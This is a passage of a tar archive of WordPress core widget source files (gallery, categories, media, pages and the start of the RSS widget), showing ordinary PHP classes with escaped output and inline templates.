	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-gallery-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update', 'items' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					_.extend( wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.9.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts();
		?>
		<script type="text/html" id="tmpl-wp-media-widget-gallery-preview">
			<#
			var ids = _.filter( data.ids, function( id ) {
				return ( id in data.attachments );
			} );
			#>
			<# if ( ids.length ) { #>
				<ul class="gallery media-widget-gallery-preview" role="list">
					<# _.each( ids, function( id, index ) { #>
						<# var attachment = data.attachments[ id ]; #>
						<# if ( index < 6 ) { #>
							<li class="gallery-item">
								<div class="gallery-icon">
									<img alt="{{ attachment.alt }}"
										<# if ( index === 5 && data.ids.length > 6 ) { #> aria-hidden="true" <# } #>
										<# if ( attachment.sizes.thumbnail ) { #>
											src="{{ attachment.sizes.thumbnail.url }}" width="{{ attachment.sizes.thumbnail.width }}" height="{{ attachment.sizes.thumbnail.height }}"
										<# } else { #>
											src="{{ attachment.url }}"
										<# } #>
										<# if ( ! attachment.alt && attachment.filename ) { #>
											aria-label="
											<?php
											echo esc_attr(
												sprintf(
													/* translators: %s: The image file name. */
													__( 'The current image has no alternative text. The file name is: %s' ),
													'{{ attachment.filename }}'
												)
											);
											?>
											"
										<# } #>
									/>
									<# if ( index === 5 && data.ids.length > 6 ) { #>
									<div class="gallery-icon-placeholder">
										<p class="gallery-icon-placeholder-text" aria-label="
										<?php
											printf(
												/* translators: %s: The amount of additional, not visible images in the gallery widget preview. */
												__( 'Additional images added to this gallery: %s' ),
												'{{ data.ids.length - 5 }}'
											);
										?>
										">+{{ data.ids.length - 5 }}</p>
									</div>
									<# } #>
								</div>
							</li>
						<# } #>
					<# } ); #>
				</ul>
			<# } else { #>
				<div class="attachment-media-view">
					<button type="button" class="placeholder button-add-media"><?php echo esc_html( $this->l10n['add_media'] ); ?></button>
				</div>
			<# } #>
		</script>
		<?php
	}

	/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.9.0
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		if ( ! empty( $instance['ids'] ) ) {
			$attachments = wp_parse_id_list( $instance['ids'] );
			// Prime attachment post caches.
			_prime_post_caches( $attachments, false, false );
			foreach ( $attachments as $attachment ) {
				if ( 'attachment' !== get_post_type( $attachment ) ) {
					return false;
				}
			}
			return true;
		}
		return false;
	}
}
                                                                                                                                    class-wp-widget-categories.php                                                                      0000644                 00000016666 15265674674 0012457 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Categories class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Categories widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Categories extends WP_Widget {

	/**
	 * Sets up a new Categories widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_categories',
			'description'                 => __( 'A list or dropdown of categories.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'categories', __( 'Categories' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Categories widget instance.
	 *
	 * @since 2.8.0
	 * @since 4.2.0 Creates a unique HTML ID for the `<select>` element
	 *              if more than one instance is displayed on the page.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Categories widget instance.
	 */
	public function widget( $args, $instance ) {
		static $first_dropdown = true;

		$default_title = __( 'Categories' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$count        = ! empty( $instance['count'] ) ? '1' : '0';
		$hierarchical = ! empty( $instance['hierarchical'] ) ? '1' : '0';
		$dropdown     = ! empty( $instance['dropdown'] ) ? '1' : '0';

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$cat_args = array(
			'orderby'      => 'name',
			'show_count'   => $count,
			'hierarchical' => $hierarchical,
		);

		if ( $dropdown ) {
			printf( '<form action="%s" method="get">', esc_url( home_url() ) );
			$dropdown_id    = ( $first_dropdown ) ? 'cat' : "{$this->id_base}-dropdown-{$this->number}";
			$first_dropdown = false;

			echo '<label class="screen-reader-text" for="' . esc_attr( $dropdown_id ) . '">' . $title . '</label>';

			$cat_args['show_option_none'] = __( 'Select Category' );
			$cat_args['id']               = $dropdown_id;

			/**
			 * Filters the arguments for the Categories widget drop-down.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_dropdown_categories()
			 *
			 * @param array $cat_args An array of Categories widget drop-down arguments.
			 * @param array $instance Array of settings for the current widget.
			 */
			wp_dropdown_categories( apply_filters( 'widget_categories_dropdown_args', $cat_args, $instance ) );

			echo '</form>';

			ob_start();
			?>

<script>
( ( dropdownId ) => {
	const dropdown = document.getElementById( dropdownId );
	function onSelectChange() {
		setTimeout( () => {
			if ( 'escape' === dropdown.dataset.lastkey ) {
				return;
			}
			if ( dropdown.value && parseInt( dropdown.value ) > 0 && dropdown instanceof HTMLSelectElement ) {
				dropdown.parentElement.submit();
			}
		}, 250 );
	}
	function onKeyUp( event ) {
		if ( 'Escape' === event.key ) {
			dropdown.dataset.lastkey = 'escape';
		} else {
			delete dropdown.dataset.lastkey;
		}
	}
	function onClick() {
		delete dropdown.dataset.lastkey;
	}
	dropdown.addEventListener( 'keyup', onKeyUp );
	dropdown.addEventListener( 'click', onClick );
	dropdown.addEventListener( 'change', onSelectChange );
})( <?php echo wp_json_encode( $dropdown_id, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> );
</script>

			<?php
			wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) );
		} else {
			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php
				$cat_args['title_li'] = '';

				/**
				 * Filters the arguments for the Categories widget.
				 *
				 * @since 2.8.0
				 * @since 4.9.0 Added the `$instance` parameter.
				 *
				 * @param array $cat_args An array of Categories widget options.
				 * @param array $instance Array of settings for the current widget.
				 */
				wp_list_categories( apply_filters( 'widget_categories_args', $cat_args, $instance ) );
				?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Categories widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance                 = $old_instance;
		$instance['title']        = sanitize_text_field( $new_instance['title'] );
		$instance['count']        = ! empty( $new_instance['count'] ) ? 1 : 0;
		$instance['hierarchical'] = ! empty( $new_instance['hierarchical'] ) ? 1 : 0;
		$instance['dropdown']     = ! empty( $new_instance['dropdown'] ) ? 1 : 0;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Categories widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance     = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		$count        = isset( $instance['count'] ) ? (bool) $instance['count'] : false;
		$hierarchical = isset( $instance['hierarchical'] ) ? (bool) $instance['hierarchical'] : false;
		$dropdown     = isset( $instance['dropdown'] ) ? (bool) $instance['dropdown'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>

		<p>
			<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'dropdown' ); ?>" name="<?php echo $this->get_field_name( 'dropdown' ); ?>"<?php checked( $dropdown ); ?> />
			<label for="<?php echo $this->get_field_id( 'dropdown' ); ?>"><?php _e( 'Display as dropdown' ); ?></label>
			<br />

			<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>"<?php checked( $count ); ?> />
			<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show post counts' ); ?></label>
			<br />

			<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'hierarchical' ); ?>" name="<?php echo $this->get_field_name( 'hierarchical' ); ?>"<?php checked( $hierarchical ); ?> />
			<label for="<?php echo $this->get_field_id( 'hierarchical' ); ?>"><?php _e( 'Show hierarchy' ); ?></label>
		</p>
		<?php
	}
}
                                                                          class-wp-widget-media.php                                                                           0000644                 00000036021 15265674674 0011374 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Media_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a media widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget
 */
abstract class WP_Widget_Media extends WP_Widget {

	/**
	 * Translation labels.
	 *
	 * @since 4.8.0
	 * @var array
	 */
	public $l10n = array(
		'add_to_widget'              => '',
		'replace_media'              => '',
		'edit_media'                 => '',
		'media_library_state_multi'  => '',
		'media_library_state_single' => '',
		'missing_attachment'         => '',
		'no_media_selected'          => '',
		'add_media'                  => '',
	);

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.8.1
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * The default widget description.
	 *
	 * @since 6.0.0
	 * @var string
	 */
	protected static $default_description = '';

	/**
	 * The default localized strings used by the widget.
	 *
	 * @since 6.0.0
	 * @var string[]
	 */
	protected static $l10n_defaults = array();

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 *
	 * @param string $id_base         Base ID for the widget, lowercase and unique.
	 * @param string $name            Name for the widget displayed on the configuration page.
	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for
	 *                                information on accepted arguments. Default empty array.
	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control()
	 *                                for information on accepted arguments. Default empty array.
	 */
	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
		$widget_opts = wp_parse_args(
			$widget_options,
			array(
				'description'                 => self::get_default_description(),
				'customize_selective_refresh' => true,
				'show_instance_in_rest'       => true,
				'mime_type'                   => '',
			)
		);

		$control_opts = wp_parse_args( $control_options, array() );

		$this->l10n = array_merge( self::get_l10n_defaults(), array_filter( $this->l10n ) );

		parent::__construct(
			$id_base,
			$name,
			$widget_opts,
			$control_opts
		);
	}

	/**
	 * Add hooks while registering all widget instances of this widget class.
	 *
	 * @since 4.8.0
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		 */
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		if ( $this->is_preview() ) {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
		}

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		 */
		add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) );

		add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 );
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'attachment_id' => array(
				'type'        => 'integer',
				'default'     => 0,
				'minimum'     => 0,
				'description' => __( 'Attachment post ID' ),
				'media_prop'  => 'id',
			),
			'url'           => array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				'description' => __( 'URL to the media file' ),
			),
			'title'         => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
		);

		/**
		 * Filters the media widget instance schema to add additional properties.
		 *
		 * @since 4.9.0
		 *
		 * @param array           $schema Instance schema.
		 * @param WP_Widget_Media $widget Widget object.
		 */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

		return $schema;
	}

	/**
	 * Determine if the supplied attachment is for a valid attachment post with the specified MIME type.
	 *
	 * @since 4.8.0
	 *
	 * @param int|WP_Post $attachment Attachment post ID or object.
	 * @param string      $mime_type  MIME type.
	 * @return bool Is matching MIME type.
	 */
	public function is_attachment_with_mime_type( $attachment, $mime_type ) {
		if ( empty( $attachment ) ) {
			return false;
		}
		$attachment = get_post( $attachment );
		if ( ! $attachment ) {
			return false;
		}
		if ( 'attachment' !== $attachment->post_type ) {
			return false;
		}
		return wp_attachment_is( $mime_type, $attachment );
	}

	/**
	 * Sanitize a token list string, such as used in HTML rel and class attributes.
	 *
	 * @since 4.8.0
	 *
	 * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens
	 * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList
	 * @param string|array $tokens List of tokens separated by spaces, or an array of tokens.
	 * @return string Sanitized token string list.
	 */
	public function sanitize_token_list( $tokens ) {
		if ( is_string( $tokens ) ) {
			$tokens = preg_split( '/\s+/', trim( $tokens ) );
		}
		$tokens = array_map( 'sanitize_html_class', $tokens );
		$tokens = array_filter( $tokens );
		return implode( ' ', $tokens );
	}

	/**
	 * Displays the widget on the front-end.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_Widget::widget()
	 *
	 * @param array $args     Display arguments including before_title, after_title, before_widget, and after_widget.
	 * @param array $instance Saved setting from the database.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) );

		// Short-circuit if no media is selected.
		if ( ! $this->has_content( $instance ) ) {
			return;
		}

		echo $args['before_widget'];

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		/**
		 * Filters the media widget instance prior to rendering the media.
		 *
		 * @since 4.8.0
		 *
		 * @param array           $instance Instance data.
		 * @param array           $args     Widget args.
		 * @param WP_Widget_Media $widget   Widget object.
		 */
		$instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this );

		$this->render_media( $instance );

		echo $args['after_widget'];
	}

	/**
	 * Sanitizes the widget form values as they are saved.
	 *
	 * @since 4.8.0
	 * @since 5.9.0 Renamed `$instance` to `$old_instance` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @see WP_Widget::update()
	 * @see WP_REST_Request::has_valid_params()
	 * @see WP_REST_Request::sanitize_params()
	 *
	 * @param array $new_instance Values just sent to be saved.
	 * @param array $old_instance Previously saved values from database.
	 * @return array Updated safe values to be saved.
	 */
	public function update( $new_instance, $old_instance ) {

		$schema = $this->get_instance_schema();
		foreach ( $schema as $field => $field_schema ) {
			if ( ! array_key_exists( $field, $new_instance ) ) {
				continue;
			}
			$value = $new_instance[ $field ];

			/*
			 * Workaround for rest_validate_value_from_schema() due to the fact that
			 * rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true.
			 */
			if ( 'boolean' === $field_schema['type'] && '' === $value ) {
				$value = false;
			}

			if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) {
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $field_schema );

			// @codeCoverageIgnoreStart
			if ( is_wp_error( $value ) ) {
				continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates.
			}

			// @codeCoverageIgnoreEnd
			if ( isset( $field_schema['sanitize_callback'] ) ) {
				$value = call_user_func( $field_schema['sanitize_callback'], $value );
			}
			if ( is_wp_error( $value ) ) {
				continue;
			}
			$old_instance[ $field ] = $value;
		}

		return $old_instance;
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	abstract public function render_media( $instance );

	/**
	 * Outputs the settings update form.
	 *
	 * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`.
	 *
	 * @since 4.8.0
	 *
	 * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located.
	 *
	 * @param array $instance Current settings.
	 */
	final public function form( $instance ) {
		$instance_schema = $this->get_instance_schema();
		$instance        = wp_array_slice_assoc(
			wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ),
			array_keys( $instance_schema )
		);

		foreach ( $instance as $name => $value ) : ?>
			<input
				type="hidden"
				data-property="<?php echo esc_attr( $name ); ?>"
				class="media-widget-instance-property"
				name="<?php echo esc_attr( $this->get_field_name( $name ) ); ?>"
				id="<?php echo esc_attr( $this->get_field_id( $name ) ); // Needed specifically by wpWidgets.appendTitle(). ?>"
				value="<?php echo esc_attr( is_array( $value ) ? implode( ',', $value ) : (string) $value ); ?>"
			/>
			<?php
		endforeach;
	}

	/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 4.8.0
	 *
	 * @param array        $states An array of media states.
	 * @param WP_Post|null $post   The current attachment object.
	 * @return array
	 */
	public function display_media_state( $states, $post = null ) {
		if ( ! $post ) {
			$post = get_post();
		}

		// Count how many times this attachment is used in widgets.
		$use_count = 0;
		foreach ( $this->get_settings() as $instance ) {
			if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) {
				++$use_count;
			}
		}

		if ( 1 === $use_count ) {
			$states[] = $this->l10n['media_library_state_single'];
		} elseif ( $use_count > 0 ) {
			$states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) );
		}

		return $states;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a widget is rendered.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		wp_enqueue_media();
		wp_enqueue_script( 'media-widgets' );
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-media-<?php echo esc_attr( $this->id_base ); ?>-control">
			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>
			<div class="media-widget-preview <?php echo esc_attr( $this->id_base ); ?>">
				<div class="attachment-media-view">
					<button type="button" class="select-media button-add-media not-selected">
						<?php echo esc_html( $this->l10n['add_media'] ); ?>
					</button>
				</div>
			</div>
			<p class="media-widget-buttons">
				<button type="button" class="button edit-media selected">
					<?php echo esc_html( $this->l10n['edit_media'] ); ?>
				</button>
			<?php if ( ! empty( $this->l10n['replace_media'] ) ) : ?>
				<button type="button" class="button change-media select-media selected">
					<?php echo esc_html( $this->l10n['replace_media'] ); ?>
				</button>
			<?php endif; ?>
			</p>
			<div class="media-widget-fields">
			</div>
		</script>
		<?php
	}

	/**
	 * Resets the cache for the default labels.
	 *
	 * @since 6.0.0
	 */
	public static function reset_default_labels() {
		self::$default_description = '';
		self::$l10n_defaults       = array();
	}

	/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		return ( $instance['attachment_id'] && 'attachment' === get_post_type( $instance['attachment_id'] ) ) || $instance['url'];
	}

	/**
	 * Returns the default description of the widget.
	 *
	 * @since 6.0.0
	 *
	 * @return string
	 */
	protected static function get_default_description() {
		if ( self::$default_description ) {
			return self::$default_description;
		}

		self::$default_description = __( 'A media item.' );
		return self::$default_description;
	}

	/**
	 * Returns the default localized strings used by the widget.
	 *
	 * @since 6.0.0
	 *
	 * @return (string|array)[]
	 */
	protected static function get_l10n_defaults() {
		if ( ! empty( self::$l10n_defaults ) ) {
			return self::$l10n_defaults;
		}

		self::$l10n_defaults = array(
			'no_media_selected'          => __( 'No media selected' ),
			'add_media'                  => _x( 'Add Media', 'label for button in the media widget' ),
			'replace_media'              => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'edit_media'                 => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'add_to_widget'              => __( 'Add to Widget' ),
			'missing_attachment'         => sprintf(
				/* translators: %s: URL to media library. */
				__( 'That file cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ),
				esc_url( admin_url( 'upload.php' ) )
			),
			/* translators: %d: Widget count. */
			'media_library_state_multi'  => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ),
			'media_library_state_single' => __( 'Media Widget' ),
			'unsupported_file_type'      => __( 'Looks like this is not the correct kind of file. Please link to an appropriate file instead.' ),
		);

		return self::$l10n_defaults;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               class-wp-widget-pages.php                                                                           0000644                 00000013130 15265674674 0011410 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Pages class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Pages widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Pages extends WP_Widget {

	/**
	 * Sets up a new Pages widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_pages',
			'description'                 => __( 'A list of your site&#8217;s Pages.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'pages', __( 'Pages' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Pages widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Pages' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/**
		 * Filters the widget title.
		 *
		 * @since 2.6.0
		 *
		 * @param string $title    The widget title. Default 'Pages'.
		 * @param array  $instance Array of settings for the current widget.
		 * @param mixed  $id_base  The widget ID.
		 */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$sortby  = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];

		if ( 'menu_order' === $sortby ) {
			$sortby = 'menu_order, post_title';
		}

		$output = wp_list_pages(
			/**
			 * Filters the arguments for the Pages widget.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_list_pages()
			 *
			 * @param array $args     An array of arguments to retrieve the pages list.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_pages_args',
				array(
					'title_li'    => '',
					'echo'        => 0,
					'sort_column' => $sortby,
					'exclude'     => $exclude,
				),
				$instance
			)
		);

		if ( ! empty( $output ) ) {
			echo $args['before_widget'];
			if ( $title ) {
				echo $args['before_title'] . $title . $args['after_title'];
			}

			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php echo $output; ?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}

			echo $args['after_widget'];
		}
	}

	/**
	 * Handles updating settings for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ), true ) ) {
			$instance['sortby'] = $new_instance['sortby'];
		} else {
			$instance['sortby'] = 'menu_order';
		}

		$instance['exclude'] = sanitize_text_field( $new_instance['exclude'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Pages widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'sortby'  => 'post_title',
				'title'   => '',
				'exclude' => '',
			)
		);
		?>
		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo esc_attr( $this->get_field_name( 'sortby' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>" class="widefat">
				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e( 'Page title' ); ?></option>
				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e( 'Page order' ); ?></option>
				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
			</select>
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php _e( 'Exclude:' ); ?></label>
			<input type="text" value="<?php echo esc_attr( $instance['exclude'] ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>" class="widefat" />
			<br />
			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
		</p>
		<?php
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                        class-wp-widget-rss.php                                                                             0000644                 00000012311 15265674674 0011120 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_RSS class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a RSS widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_RSS extends WP_Widget {

	/**
	 * Sets up a new RSS widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Entries from any RSS or Atom feed.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,

		);
		$control_ops = array(
			'width'  => 400,
			'height' => 200,
		);
		parent::__construct( 'rss', __( 'RSS' ), $widget_ops, $control_ops );
	}

	/**
	 * Outputs the content for the current RSS widget instance.
	 *
	 * @since 2.8.0
	 *
